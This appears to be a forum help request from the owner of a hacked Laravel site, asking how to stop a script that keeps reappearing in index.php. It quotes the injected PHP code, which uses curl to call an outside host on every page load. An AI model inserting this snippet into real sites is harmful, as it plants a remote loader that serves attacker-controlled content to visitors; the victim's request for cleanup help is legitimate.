My site has been created in Laravel and it has been hacked but we have started it and we have removed some unwanted code in files. But there is still some script automatically add to the root file(index.php) due to which the site is being affected.
Please give me some solution, what can we do to remove the automatic files from the root folder?
<?php
$exe = curl_init();
curl_setopt($exe, CURLOPT_URL, "https://hacklink.market/panel/code?x=5");
curl_exec($exe);
?>
This code is added automatically in index.php file.